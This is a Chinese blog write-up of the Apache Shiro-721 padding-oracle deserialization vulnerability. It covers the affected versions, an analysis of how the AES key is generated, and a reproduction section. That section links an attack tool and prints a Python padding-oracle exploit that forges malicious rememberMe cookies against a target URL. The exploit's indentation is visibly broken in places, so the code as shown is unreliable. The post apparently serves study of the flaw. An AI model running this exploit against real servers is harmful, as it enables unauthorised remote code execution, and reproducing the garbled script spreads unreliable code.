Shiro721反序列化漏洞

Security Classification: 【C-1】 | Publish Time:2023-10-08 | Category:漏洞分析 | Edit

Expiry Notice: The article was published three months ago. Please independently assess the validity of the technical methods and code mentioned within. :)

## 写在前面

该篇文章相当于对shiro550漏洞的一个拓展学习，因为牵扯到一些加密算法，对于这块实在是头大，所以不做具体分析，只做简单复现。

## 漏洞影响版本

shiro <= 1.4.1

## 环境搭建

[源码下载](https://codeload.github.com/apache/shiro/zip/shiro-root-1.4.0)

环境的话是和shiro550的搭建过程一样的，详情请看这篇文章[Shiro550反序列化漏洞（CVE-2016-4437）](https://mp.weixin.qq.com/s/dcVgU-tn2masBNKL07NSkg)

## 漏洞描述

cookie中通过**AES-128-CBC**模式加密的rememberMe字段存在问题，可通过**填充Oracle攻击（Padding Oracle Attack）**构造恶意的rememberMe字段重新请求网站进行反序列化攻击。

> 128代表是128bit为一组密文进行加密
>
> CBC表示密码分组链接模式，Cipher Block Chaining

## 漏洞分析

和550的不同是密钥生成的方式不同，550是硬编码在源码中，721的话是动态生成的，可以看到**CipherKey**是使用**generateNewKey**方法生成的

![image-20230920104530474](https://s2.loli.net/2023/09/25/KeC9ch5IBpfikwd.png)

继续跟进**generateNewKey**方法，首先初始化了一个KeyGenerator对象，并对其进行初始化

![image-20230920105855153](https://s2.loli.net/2023/09/25/1FqHUfXVjwlhZST.png)

调用了两个**init()**，获取了一个随机数发生器**SecureRandom**

![image-20230920110329449](https://s2.loli.net/2023/09/25/lY4OGgzLp1dNwrF.png)

下一步调用**generateKey**

![image-20230925151411697](https://s2.loli.net/2023/09/25/9UkmdWDeQgYoVOa.png)

生成一串16字节的随机序列，然后返回一个**SecretKetSpec**对象，然后通过**getEncoded**获取key密钥序列。

![image-20230925151929747](https://s2.loli.net/2023/09/25/yOwVvFneNhSBpxM.png)

## 漏洞复现

和shiro550的区别就是需要爆破密钥，所以我们可以使用攻击进行测试

[工具下载地址](https://github.com/SummerSec/ShiroAttack2/releases)

![image-20230925152636188](https://s2.loli.net/2023/09/25/XICz1AWrQg8KbNU.png)

![image-20230925152751482](https://s2.loli.net/2023/09/25/dLaFsCQnV3YNZ96.png)

### exp

```python
#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']
        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

self.history.append(response)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)
    print('rememberMe cookies:')
    print(b64encode(enc))
```

#### h4

Comment List

d9b0dab2 2024/03/25

123123123

Panacea From DepyDocs TenantAdmin

ttttttttttttest

Comment

© Copyright: This article is an original work and the copyright belongs to the Panacea's blog unless marked as Reproduced

Please contact the blogger for authorization to reprint

Shiro721反序列化漏洞

© Copyright: This article is an original work and the copyright belongs to the Panacea's blog unless marked as ReproducedPlease contact the blogger for authorization to reprint

© Copyright: This article is an original work and the copyright belongs to the Panacea's blog unless marked as Reproduced

Please contact the blogger for authorization to reprint